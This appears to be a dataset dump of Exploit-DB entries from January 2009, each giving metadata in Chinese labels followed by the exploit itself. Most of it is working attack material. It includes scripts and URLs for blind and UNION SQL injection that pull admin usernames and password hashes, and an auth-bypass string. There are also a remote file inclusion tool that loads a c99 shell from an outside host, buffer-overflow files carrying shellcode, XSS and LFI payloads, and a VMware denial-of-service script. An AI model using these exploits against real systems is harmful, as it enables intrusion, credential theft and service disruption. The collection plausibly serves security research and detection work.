QLWD/code_shield huggingface dataset:
标题: Goople 1.8.2 - 'FrontPage.php' Blind SQL Injection EDB-ID: 7683 CVE: 2009-0121 2009-0111 类型: WEBAPPS 平台: PHP 发布日期: 2009-01-06 漏洞利用脚本: #--+++=========================================================+++--#
#--+++====== Goople <= 1.8.2 Blind SQL Injection Exploit ======+++--#
#--+++=========================================================+++--#

#!/usr/bin/php
<?

function usage ()
{
 echo
  "\n[+] Goople <= 1.8.2 Blind SQL Injection Exploit".
  "\n[+] Author: darkjoker".
  "\n[+] Site  : http://darkjoker.net23.net".
  "\n[+] Usage : php xpl.php <hostname> <path> [key]".
  "\n[+] Ex.   : php xpl.php localhost /goople abcdefghijklmnopqrstuvwxyz".
  "\n[+] Note  : Have fun ^^\n\n";
 exit ();
}

function check ($hostname, $path, $field, $pos, $char)
{
 $char = ord ($char);
 $fp = fsockopen ($hostname, 80);
 $usr = "username=1' OR IF((ASCII(SUBSTRING((SELECT {$field} FROM GoopleCMS_users_ WHERE id =1),{$pos},1))={$char})".
        ",BENCHMARK(200000000,CHAR(0)),0) OR '1' = '2";
 $usr = str_replace ("'", "%27", $usr);
 $usr = str_replace (" ", "%20", $usr);
 $pwd = "password=asd";
 $sub = "loginsubmit=loginsubmit&loginsubmit=Login";
 $str = "{$usr}&{$pwd}&{$sub}";
 $post = "POST {$path}/frontpage.php HTTP/1.1\r\n".
  "Host: {$hostname}\r\n".
  "Connection: Close\r\n".
  "Content-Type: application/x-www-form-urlencoded\r\n".
  "Content-Length: " . strlen ($str) . "\r\n\r\n".
  $str;
 
 fputs ($fp, $post);
 $a =  time ();
 while (!feof ($fp))
  $res .= fgets ($fp, 1024);

 $b =  time ();
 fclose ($fp);

 if ($b - $a > 4)
  return true;
 else
  return false;
}


function brute ($hostname, $path, $field, $key)
{
 $pos = 1;
 $chr = 0;
 while ($chr < strlen ($key))
 {
  if (check ($hostname, $path, $field, $pos, $key [$chr]))
  {
   echo $key [$chr];
   $chr = -1;
   $pos++;
  }
  $chr++;
 }
}


if (count ($argv) != 3)
 usage ();

$hostname = $argv [1];
$path = $argv [2];
$key = $argv [3];
if (empty ($key))
 $key = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";

echo "[+] Username: ";
brute ($hostname, $path, "username", $key);
echo "\n[+] Password: ";
brute ($hostname, $path, "password", $key);
echo "\n";

?>

# milw0rm.com [2009-01-06] URL: https://www.exploit-db.com/exploits/7683
标题: Joomla! Component com_phocadocumentation - 'id' SQL Injection EDB-ID: 7670 CVE: 2009-0702 类型: WEBAPPS 平台: PHP 发布日期: 2009-01-05 漏洞利用脚本: #!/usr/bin/perl -w


#Joomla com_phocadocumentation Sql injection#
########################################
#[~] Author : EcHoLL
#[~] www.warezturk.org www.tahribat.com
#[~] Greetz : Black_label TURK Godlike Nitrous

#[!] Module_Name: com_phocadocumentation
#[!] Script_Name: Joomla
#[!] Google_Dork: inurl:"com_phocadocumentation"
########################################


system("color FF0000");
system("Nohacking");
print "\t\t-------------------------------------------------------------\n\n";
print "\t\t| Turkish Securtiy Team |\n\n";
print "\t\t-------------------------------------------------------------\n\n";
print "\t\t|Joomla Module com_phocadocumentation(section&id=)Remote SQL Injection Vuln|\n\n";
print "\t\t| Coded by: EcHoLL www.warezturk.org |\n\n";
print "\t\t-------------------------------------------------------------\n\n";

use LWP::UserAgent;

print "\nSite ismi Target page:[http://wwww.site.com/path/]: ";
chomp(my $target=<STDIN>);

$column_name="concat(username,0x3a,password)";
$table_name="jos_users";

$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');

$host = $target . "/index.php?option=com_phocadocumentation&view=section&id=1+AND+1=2+UNION+SELECT+".$column_name.",1,2+from/**/".$table_name."--";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-fA-F]{32})/){
print "\n[+] Admin Hash : $1\n\n";
print "# Tebrikler Exploit Calisti! #\n\n";
}
else{print "\n[-] Exploit BulunamadÄ±...\n";
}

# milw0rm.com [2009-01-05] URL: https://www.exploit-db.com/exploits/7670
标题: plxAutoReminder 3.7 - 'id' SQL Injection EDB-ID: 7663 CVE: 2009-0593 类型: WEBAPPS 平台: PHP 发布日期: 2009-01-04 漏洞利用脚本: [~] plx Autoreminder v3.7 (id) R-Sql Ãnj
[~]
[~]----------------------------------------------------------
[~] Discovered By: ZoRLu  msn: trt-turk@hotmail.com
[~]
[~] Date: 04.01.09
[~]
[~] Home: z0rlu.blogspot.com / www.experl.com 
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~]
[~] EN ONEMLi N0T: demolarI hackleyen top olsun top ( if you hack demo you will be ball xD )
[~] -----------------------------------------------------------

you must login to site

R-Sql

z0rlu.blogspot.com/members.php?s=newar&edmode=1&id=999999999+union+select+1,2,3,4,concat(user(),0x3a,version(),0x3a,database()),6,7,8,9,10,11,12,13,14,15,16

for demo:

user: trt-turk@hotmail.com

pass: salla1

http://www.plxwebdev.com/demos/autoreminder/members.php?s=newar&edmode=1&id=999999999+union+select+1,2,3,4,concat(user(),0x3a,version(),0x3a,database()),6,7,8,9,10,11,12,13,14,15,16

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & Scriptorium & h4ckinger & Cyber_Thief & BLaSTeR & Ahmet and all experl.com users :)
[~]
[~] yildirimordulari.org  &  experl.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2009-01-04] URL: https://www.exploit-db.com/exploits/7663
标题: PHPMesFilms 1.0 - 'index.php?id' SQL Injection EDB-ID: 7660 CVE: 2009-0598 类型: WEBAPPS 平台: PHP 发布日期: 2009-01-04 漏洞利用脚本: [~] in the name of God
[~]
[~] Download script : http://www.script-masters.com/home/download.php?script=138
[~]
[~]----------------------------------------------------------
[~] Discovered By: SuB-ZeRo(from algeria)   msn: FbH@hotmail.com
[~]
[~] D-unit : SuB-ZeRo & Me!sTer & HaLokA
[~]
[~] Home: www.dz-security.net/ my exploit : www.dz-security.net/subzero
[~]
[~] N0T: We ArE MoUsLiMme WiThE GaZa 4 ever
[~] -----------------------------------------------------------
dork : powered by PhpMesFilms
Exploit:
http://www.sit.com/script/index.php?id=3+union+select+1,concat(user(),0x3a,@@version),3,4,5,6,7,8,9,10--
---------------------------------------------------------------------------------------------
L!Ve DeMo:
http://phpmesfilms.dyndns.org/demo/index.php?id=3+union+select+1,concat(user(),0x3a,@@version),3,4,5,6,7,8,9,10--
 not : in this script some times version is 4 and some times is 5 have nice day
[~]----------------------------------------------------------------------
[~] Greetz tO: Me!sTer & HaLoKa & MaXi32 & Dz-TeAm and all algeria & gaza
[~] we are D-unit www.dz-security.net
[~]----------------------------------------------------------------------

# milw0rm.com [2009-01-04] URL: https://www.exploit-db.com/exploits/7660
标题: Cybershade CMS 0.2b - 'index.php' Remote File Inclusion EDB-ID: 7668 CVE: 2009-0701 类型: WEBAPPS 平台: PHP 发布日期: 2009-01-05 漏洞利用脚本: #!/usr/bin/perl
####################################################################
# Cybershade CMS 0.2b (index.php) RFI shell_cmd[c99] Exploit
# url: http://sourceforge.net/projects/cybershadecms/
#
# Author: JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://www.hack0wn.com
# team: Spanish Hackers Team - [SHT]
#
# Hack0wn Security Project!!
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.
#
####################################################################
#
# "need" register_globals = On
#
# RFI vuln!: [index.php]
#    line 6: include $THEME_header;
#    line 8: include $THEME_footer;
#
####################################################################
# OUTPUT:
#
# [shell]:~$ id
#   uid=99(nobody) gid=99(nobody) groups=99(nobody)
# [shell]:~$ uname -a
#   Linux xxxxx.xxxxx.com 2.6.18-92.1.13.el5PAE #1 SMP Wed Sep 24 20:07:49 EDT 2008 i686 i686 i386 GNU/Linux
# [shell]:~$ 0h my God ;D

use LWP::UserAgent;
use HTTP::Request;
use LWP::Simple;
use Getopt::Long;

sub clear{
system(($^O eq 'MSWin32') ? 'cls' : 'clear');
}

&clear();

sub banner {
        &clear();
 print "[x] Cybershade CMS 0.2b (index.php) RFI shell_cmd[c99] Exploit\n";
 print "[x] Written By JosS\n";
 print "[x] sys-project[at]hotmail[dot]com\n\n";
 print "[+] Usage:\n";
 print "[+]     $0 -vuln \"web+path\" -shell \"shell\"\n";
 print "[+] eX: $0 -vuln \"http://www.p0c.com/cms/\" -shell \"http://hack0wn.com/desc/shells/c99.txt?\"\n\n";
        exit();
}

my $options = GetOptions (
  'help!'            => \$help, 
  'vuln=s'            => \$vuln, 
  'shell=s'            => \$shell
  );

&banner unless ($vuln);
&banner unless ($shell);

&banner if $banner eq 1;

chomp($vuln);
chomp($shell);

while (){

 print "[shell]:~\$ ";
 chomp($cmd=<STDIN>);

 if ($cmd eq "exit" || $cmd eq "quit") {
  exit 0;
 }

 my $ua = LWP::UserAgent->new;
        $iny="?&act=cmd&cmd=" . $cmd . "&d=/&submit=1&cmd_txt=1";
        chomp($iny);
        my $own = $vuln . "/index.php?THEME_header=" . $shell . $iny;
        chomp($own);
 my $req = HTTP::Request->new(GET => $own);
 my $res = $ua->request($req);
 my $con = $res->content;
 if ($res->is_success){
  print $1,"\n" if ( $con =~ m/readonly> (.*?)\<\/textarea>/mosix);
 }
           else
             {
                print "[p0c] Exploit failed\n";
                exit(1);
             }
}

# __h0__

# milw0rm.com [2009-01-05] URL: https://www.exploit-db.com/exploits/7668
标题: WSN Guest 1.23 - 'Search' SQL Injection EDB-ID: 7659 CVE: 2009-0704 类型: WEBAPPS 平台: PHP 发布日期: 2009-01-04 漏洞利用脚本: WSN Guest 1.23 (search.php) SQL Injection Vulnerability
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Author    : DaiMon
Homepage  : http://www.cwdaimon.com
Contact   : cwdaimon[at]gmail.com
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Script       : WSN Guest
 
Last version : 1.23
Download     : http://scripts.webmastersite.net/wsnguest/wsnguest.zip
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
###########################
Google Dork:
allinurl:wsnguest
###########################
Exploat  :

Username :
          [path]/search.php?filled=1&action=advanced&whichtype=entries&searchfields[0]=ownerid&search=999/**/union/**/select/**/name%20text,1,2,3,4,5,6,7,8,9,10,11,12,13/**/from/**/wsnguest_members
Password :
          [path]/search.php?filled=1&action=advanced&whichtype=entries&searchfields[0]=ownerid&search=999/**/union/**/select/**/password,1,2,3,4,5,6,7,8,9,10,11,12,13/**/from/**/wsnguest_members
###########################
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
###########################
Special : PARS! , Equilibrium , alpican , Cem , BlackFear , ALL Cyber-Warrior
###########################

# milw0rm.com [2009-01-04] URL: https://www.exploit-db.com/exploits/7659
标题: Destiny Media Player 1.61 - '.m3u' Local Buffer Overflow (PoC) EDB-ID: 7649 CVE: 2009-3429 类型: DOS 平台: WINDOWS 发布日期: 2009-01-02 漏洞利用脚本: #!/usr/bin/perl -w

########################################################################
#Program  : Destiny Media Player                                      
#Version  : 1.61.0                              
#website  : http://www.pirateradio.com/downloads/                  
#Download : http://www.pirateradio.com/downloads/destinymp3.exe
#Type     : (.m3u File) local Stack Overflow PoC                    
########################################################################

#EAX 61616161
#ECX 00000001
#EDX 014377A0
#EBX 0000000B
#ESP 0030FFEC
#EBP 00312C04 ASCII "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
#ESI 00000000
#EDI 00312C44 ASCII "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
#EIP 004266D7 Destiny.004266D7
#C 0  ES 0023 32bit 0(FFFFFFFF)
#P 1  CS 001B 32bit 0(FFFFFFFF)
#A 0  SS 0023 32bit 0(FFFFFFFF)
#Z 1  DS 0023 32bit 0(FFFFFFFF)
#S 0  FS 003B 32bit 7FFDE000(FFF)
#T 0  GS 0000 NULL
#D 0
#O 0  LastErr ERROR_SUCCESS (00000000)
#EFL 00010246 (NO,NB,E,BE,NS,PE,GE,LE)
#ST0 empty -??? FFFF 00000000 00000000
#ST1 empty 0.0
#ST2 empty 1.0000000000000000000
#ST3 empty 0.0
#ST4 empty 0.0
#ST5 empty 1.0000000000000000000
#ST6 empty 3672.0000000000000000
#ST7 empty 0.5000000000000000000
#               3 2 1 0      E S P U O Z D I
#FST 0020  Cond 0 0 0 0  Err 0 0 1 0 0 0 0 0  (GT)
#FCW 027F  Prec NEAR,53  Mask    1 1 1 1 1 1


my $file="boom.m3u";


open(my $FILE, ">>$file") or die "Cannot open $file: $!";
print $FILE "A" x 31185;
close($FILE);
print "$file has been created \n";

# milw0rm.com [2009-01-02] URL: https://www.exploit-db.com/exploits/7649
标题: Destiny Media Player 1.61 - '.lst' Local Buffer Overflow (1) EDB-ID: 7654 CVE: 2009-3429 类型: LOCAL 平台: WINDOWS 发布日期: 2009-01-04 漏洞利用脚本: # Destiny Media Player 1.61 (lst File) Local Buffer overflow Exploit
# By:Encrypt3d.M!nd
#
# i was so stupid when i wrote the poc coz i didn't realize somethings :p
# well this is workin exploit tested on windows xp sp3
# don't double click the file,import it from the program
#
# Greetz:-=Mizo=-(thnx dude :X),L!0N,El Mariachi,MiNi SpIder,all my friends
#

chars = "A" * 2052

# win32_exec -  EXITFUNC=seh CMD=calc.exe Size=164
Encoder=PexFnstenvSub http://metasploit.com

shellcode = (
"\x33\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x13"
"\x88\x79\x7b\x83\xeb\xfc\xe2\xf4\xef\x60\x3d\x7b\x13\x88\xf2\x3e"
"\x2f\x03\x05\x7e\x6b\x89\x96\xf0\x5c\x90\xf2\x24\x33\x89\x92\x32"
"\x98\xbc\xf2\x7a\xfd\xb9\xb9\xe2\xbf\x0c\xb9\x0f\x14\x49\xb3\x76"
"\x12\x4a\x92\x8f\x28\xdc\x5d\x7f\x66\x6d\xf2\x24\x37\x89\x92\x1d"
"\x98\x84\x32\xf0\x4c\x94\x78\x90\x98\x94\xf2\x7a\xf8\x01\x25\x5f"
"\x17\x4b\x48\xbb\x77\x03\x39\x4b\x96\x48\x01\x77\x98\xc8\x75\xf0"
"\x63\x94\xd4\xf0\x7b\x80\x92\x72\x98\x08\xc9\x7b\x13\x88\xf2\x13"
"\x2f\xd7\x48\x8d\x73\xde\xf0\x83\x90\x48\x02\x2b\x7b\x78\xf3\x7f"
"\x4c\xe0\xe1\x85\x99\x86\x2e\x84\xf4\xeb\x18\x17\x70\xa6\x1c\x03"
"\x76\x88\x79\x7b")

file=open('exp.lst','w')
file.write(chars+"\xD0\x69\x83\x7c"+"\x90"*15+shellcode)
file.close()

# milw0rm.com [2009-01-04] URL: https://www.exploit-db.com/exploits/7654
标题: Destiny Media Player 1.61 - '.lst' Local Buffer Overflow (PoC) EDB-ID: 7652 CVE: 2009-3429 类型: DOS 平台: WINDOWS 发布日期: 2009-01-03 漏洞利用脚本: #
# Destiny Media Player (lst file) Buffer overflow PoC
# By:Encrypt3d.M!nd
# I'am Iraqian...Not Arabian
###########################################
#  Well,i've tried to write an exploit for this shit but i couldn't
# the address after the NEW eip will over written,if anyone
# knows how to exploit this,be my guest

chars = "A"*2052
eip = "\x42\x42\x42\x42" # the eip will become 42424242

file=open('exp.lst','w')
file.write(chars+eip+chars)
file.close()

# milw0rm.com [2009-01-03] URL: https://www.exploit-db.com/exploits/7652
标题: Destiny Media Player 1.61 - '.m3u' Local Stack Overflow EDB-ID: 7651 CVE: 2009-3429 类型: LOCAL 平台: WINDOWS 发布日期: 2009-01-03 漏洞利用脚本: #usage: exploit.py
#After creating the m3u file, start the program then File > Open Playlist > exploit.m3u
print "**************************************************************************"
print " Destiny Media Player 1.61 (.m3u File) Local Stack Overflow Exploit\n"
print " Founder: aBo MoHaMeD"
print " exploit & code: His0k4"
print " Tested on: Windows XP Pro SP2 Fr\n"
print " Greetings to:"
print " All friends & muslims HaCkers(dz)\n"
print "**************************************************************************"
          

   
buff = "\x41" * 2052

EIP = "\x5D\x38\x82\x7C" #call ESP from kernel32.dll

nop = "\x90" * 10  #Blah Blah :D

# win32_exec -  EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com
shellcode = (
 "\x29\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xc9"
 "\x2c\xc9\x40\x83\xeb\xfc\xe2\xf4\x35\xc4\x8d\x40\xc9\x2c\x42\x05"
 "\xf5\xa7\xb5\x45\xb1\x2d\x26\xcb\x86\x34\x42\x1f\xe9\x2d\x22\x09"
 "\x42\x18\x42\x41\x27\x1d\x09\xd9\x65\xa8\x09\x34\xce\xed\x03\x4d"
 "\xc8\xee\x22\xb4\xf2\x78\xed\x44\xbc\xc9\x42\x1f\xed\x2d\x22\x26"
 "\x42\x20\x82\xcb\x96\x30\xc8\xab\x42\x30\x42\x41\x22\xa5\x95\x64"
 "\xcd\xef\xf8\x80\xad\xa7\x89\x70\x4c\xec\xb1\x4c\x42\x6c\xc5\xcb"
 "\xb9\x30\x64\xcb\xa1\x24\x22\x49\x42\xac\x79\x40\xc9\x2c\x42\x28"
 "\xf5\x73\xf8\xb6\xa9\x7a\x40\xb8\x4a\xec\xb2\x10\xa1\xdc\x43\x44"
 "\x96\x44\x51\xbe\x43\x22\x9e\xbf\x2e\x4f\xa8\x2c\xaa\x02\xac\x38"
 "\xac\x2c\xc9\x40"
    )

exploit = buff + EIP + nop + shellcode # too easy :p

try:
    out_file = open("exploit.m3u",'w')
    out_file.write(exploit)
    out_file.close()
    raw_input("\nExploit file created!\n")
except:
    print "Error"

# milw0rm.com [2009-01-03] URL: https://www.exploit-db.com/exploits/7651
标题: VMware 2.5.1 - 'VMware-authd' Remote Denial of Service EDB-ID: 7647 CVE: 2009-0177 类型: DOS 平台: MULTIPLE 发布日期: 2009-01-02 漏洞利用脚本: ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

Vmware <= 2.5.1 build-126130 Remote Denial of Service

Application: Vmware

Web Site: http://www.vmware.com/

Platform: Windows *

Bug: Remote Denial of Service

Tested agains: Vmware player 2.5.1 build-126130, workstation 2.5.1 build-126130, using Windows XP SP3 fully patched

-------------------------------------------------------

1) Introduction

2) Bug

3) Proof of concept

4) Credits

================

1) Introduction

================

"VMware desktop virtualization technology lets you run multiple operating systems on a single physical computer.
Easily run Windows applications on your Mac, including high end games and other graphic applications, 
with VMware Fusion. Run Windows and Linux applications on Windows or Linux PCs with the free VMware Player."

=======

2) Bug

=======
Vmware-authd listen on 0.0.0.0 port 912 on a windows box by default.
A denial of service exist in the module vmwarebase.dll of the system process vmware-authd.exe when a long username
or password is supplied to the service, code execution doesn't look possible at this time.
A dump file will be created here: C:\Documents and Settings\LocalService\Application Data\VMware\vmware-authd-*.dmp
Also some old version of this binary (like 6.00.3938.0000) doesn't seems vulnerable to this DoS.
==================

3)Proof of concept

==================
Auth-dos.py :

import struct
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buff = 'A' * 350
target = '192.168.0.102'
port = 912
s.connect((target, port))
data = s.recv(1024)
s.send('USER '+buff+'\r\n')
data = s.recv(1024)
s.send('PASS yo \r\n')
data = s.recv(1024)
print " [+] sending dummy payload"
s.close()
print " [+] done! "

=====

4)Credits

=====

laurent gaffiÃ©

laurent.gaffie{remove_this}[at]gmail[dot]com

# milw0rm.com [2009-01-02] URL: https://www.exploit-db.com/exploits/7647
标题: phpskelsite 1.4 - Local File Inclusion / Remote File Inclusion / Cross-Site Scripting EDB-ID: 7648 CVE: 2009-0596 2009-0595 2009-0594 类型: WEBAPPS 平台: PHP 发布日期: 2009-01-02 漏洞利用脚本: -----------------:RFI/LFI/xss:-----------------
-------------------------------------------
script:phpSkelSite
   
------------------------------------------------------------------
download from:http://apmuthu.tripod.com/files/phpSkelSite_v1.4.zip
   
------------------------------------------------------------------

........................................................
vul:/skysilver/login.tpl.php line 1

<? include $theme.'/pageheading'.$TplSuffix ; ?>


------------------------------------------------------
Rfi:

http://127.0.0.1/path/skysilver/login.tpl.php?theme=[shell.txt?]

Lfi:

http://127.0.0.1/path/skysilver/login.tpl.php?TplSuffix=[lfi]

***************************************************
xss:
http://127.0.0.1/path/index.php/>"><ScRiPt>alert('ahmadbady')</ScRiPt>
***************************************************
---------------------
Author: ahmadbady
---------------------

# milw0rm.com [2009-01-02] URL: https://www.exploit-db.com/exploits/7648
标题: PowerNews 2.5.4 - 'newsid' SQL Injection EDB-ID: 7641 CVE: 2009-0705 类型: WEBAPPS 平台: PHP 发布日期: 2009-01-01 漏洞利用脚本: #######################################################################################
  #                                                                                     #
  #                 ...:::::powernews 2.5.4 SQL Injection Vulnerability::::....         #          
  #######################################################################################
Virangar Security Team
www.virangar.net
--------
Discoverd By :virangar security team(hadihadi)
special tnx to:MR.nosrati,black.shadowes,MR.hesy,Ali007,Zahra
& all virangar members & all hackerz
greetz:to my best friend in the world hadi_aryaie2004
& my lovely friend arash(imm02tal)
-------
exploit:
http://site.com/news.php?newsid='/**/union/**/select/**/1,2,3,4,concat(nickname,0x3e,password),6,7,8,9/**/from/**/pn_users/*
----
young iranian h4ck3rz

# milw0rm.com [2009-01-01] URL: https://www.exploit-db.com/exploits/7641
标题: PowerClan 1.14a - Authentication Bypass EDB-ID: 7642 CVE: 2009-0707 类型: WEBAPPS 平台: PHP 发布日期: 2009-01-01 漏洞利用脚本: #######################################################################################
  #                                                                                     #
  #      ...:::::PowerClan 1.14a (Auth Bypass) SQL Injection Vulnerability::::....      #          
  #######################################################################################
Virangar Security Team
www.virangar.net
--------
Discoverd By :virangar security team(hadihadi)
special tnx to:MR.nosrati,black.shadowes,MR.hesy,Ali007,Zahra
& all virangar members & all hackerz
greetz:to my best friend in the world hadi_aryaie2004
& my lovely friend arash(imm02tal)
-------
exploit:
path to admin area: /admin

login: admin ' or 1=1/*
pass:[whatever]
---
young iranian h4ck3rz

# milw0rm.com [2009-01-01] URL: https://www.exploit-db.com/exploits/7642